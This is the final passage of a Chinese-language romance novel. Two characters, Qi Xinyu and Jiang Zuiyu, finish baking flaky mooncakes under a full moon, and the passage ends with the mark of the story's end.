那瞬间，只一瞬间。 世界变得斑斓，而爱从此具象。 视频自动从头播放，为开酥设好的闹钟响起来。 齐新雨兴致勃勃地问：“是不是能包月饼了！” 蒋醉余把棉花花束摆在桌子上，跟着他走进厨房。 最后一次开酥，就可以把圆滚滚的馅料和咸蛋黄包进去。 几小时后酥皮月饼叮一声出炉，被齐新雨贪心地塞了两个咸蛋黄的那一只也品相完好，一点都没裂开。 天上那轮月亮，终于走到圆满。 【正文完。】